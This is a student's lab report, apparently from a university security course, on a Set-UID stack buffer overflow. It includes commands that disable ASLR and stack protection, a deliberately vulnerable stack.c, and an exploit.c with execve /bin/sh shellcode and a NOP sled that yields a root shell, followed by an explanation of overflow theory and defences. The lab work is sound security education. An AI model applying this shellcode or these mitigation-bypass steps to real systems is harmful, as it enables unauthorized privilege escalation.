1. 程式人生 > 其它 >2022-2023-1 20221307 實驗七-緩衝區溢位實驗實驗報告

2022-2023-1 20221307 實驗七-緩衝區溢位實驗實驗報告

實驗環境:16.04 64位 ubuntu
實驗步驟
1.因本實驗需在32位環境下操作,因此輸入一些命令進行軟體包更新
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

2.Linux和一些系統中會隨機化進行分配儲存地址,而猜測儲存地址是本實驗完成的關鍵,下面使用命令來關閉這一功能

sudo sysctl -w kernel.randomize_va_space=0

 3.此外,為了進一步防範緩衝區溢位攻擊及其它利用 shell 程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權。因此,即使你能欺騙一個 Set-UID 程式呼叫一個 shell,也不能在這個 shell 中保持 root 許可權,這個防護措施在 /bin/bash

 中實現。

linux 系統中,/bin/sh 實際是指向 /bin/bash 或 /bin/dash 的一個符號連結。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程式(zsh)代替 /bin/bash。下面的指令描述瞭如何設定 zsh 程式:

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

4.輸入命令

linux32

 5.輸入命令切換到tmp目錄,並建立stack.c檔案

cd /tmp
vim stack.c

6.以下stack.c檔案的內容

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

 

 7.編譯該程式,並設定SET-UID,採用命令

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

  

 其中,-fno-stack-protector用來關閉gcc中越界保護機制

 8.攻擊程式

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移處起始的四個位元組覆蓋sellcode地址  
    strcpy(buffer + 100, shellcode);   //將shellcode拷貝至buffer,偏移量設為了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

  程式功能,越界獲取root許可權

 9.GDB除錯stack

輸入命令

gdb stack
disass main

  

 10.設定斷點,我執行的結果是0x080484ee,執行命令

# 設定斷點
b *0x080484ee
r
i r $esp

  

 11.修改攻擊程式

輸入命令

vi expolit.c
i/*找到/x??的位置反著將得到地址替換*/

12.執行程式獲得許可權

輸入命令

./exploit
./stack

13.獲得許可權

輸入命令

whoami

 

緩衝區溢位的原理和防範:


1.原理:

由於C/C++語言本身沒有陣列越界檢查機制,當向緩衝區裡寫入的資料超過了為其分配的大小時,就會發生緩衝區溢位。

攻擊者可以利用緩衝區溢位來竄改程序執行時棧,從而改變程式的正常流向。

緩衝區溢位漏洞是一種古老、危害範圍大、常見於c程式碼中的軟體漏洞,在各種作業系統、應用軟體中廣泛存在,資料庫系統中同樣常見。利用緩衝區溢位攻擊,可以導致程式執行失敗、系統宕機、重新啟動等後果。更為嚴重的是,攻擊者可以利用它執行非授權指令,甚至取得系統特權,進而實行攻擊行為。

緩衝區溢位漏洞最早在20世紀80年代初被發現,第一次重大事件是1988年爆發的Morris蠕蟲。該蠕蟲病毒利用fingerd的緩衝區溢位漏洞進行攻擊,最終導致6000多臺機器被感染,造成直接經濟損失100萬美金。隨後,衍生而出的Ramen 蠕蟲、sircam蠕蟲、sql slammer蠕蟲等品種逐漸出現,每一類蠕蟲都對整個網際網路造成了嚴重的安全影響,造成高額的經濟損失。

其中共享區也稱為data區,用來儲存可執行程式碼;.text和.bss均用來儲存程式的全域性變數和初始化變數;堆則不隨函式消亡而消亡,而是直到程式消亡或手動釋放才會消亡;堆疊是隨著函式分配並消亡的,堆疊溢位就是出現在堆疊區中的緩衝區安全問題。

堆疊是一個後進先出(LIFO)資料結構,往低地址增長,它儲存本地變數、函式呼叫等資訊。隨著函式呼叫層數的增加,棧幀會向低地址方向延伸;隨著程序中函式呼叫層數的減少,即各函式的返回,棧幀會一塊一塊地被遺棄而向記憶體的高地址方向回縮。各函式的棧幀大小隨著函式的性質不同而不等。

堆疊這種資料結構,常見操作有壓棧(PUSH)、彈棧(POP);用於標識棧的屬性有:棧頂(TOP)、棧底(BASE)。其中:

PUSH:為棧增加一個元素的操作叫做PUSH,相當於插入一塊;

POP:從棧中取出一個元素的操作叫做POP;

TOP:TOP標識棧頂的位置,且是動態變化的,每做一次PUSH操作,它會自+1;每做一次POP操作,它會自-1;

BASE:BASE標識棧底位置,用於防止棧空後繼續彈棧,一般來說BASE位置不發生改變。

  2.防範:

1) 使用自動化工具進行掃描檢測,排查是否存在緩衝區溢位漏洞;但需要注意的是需要使用面向不同系統的掃描工具,沒有一個檢查工具可以支援所有基礎應用的掃描。

2) 加強相關程式設計師的程式碼能力,做好相應的長度限制工作,從程式碼級別進行防範。

3)避免使用原C庫中那些可能存在緩衝區溢位隱患的函式,使用增強後的函式,這樣此漏洞出現的機率會相對低一些。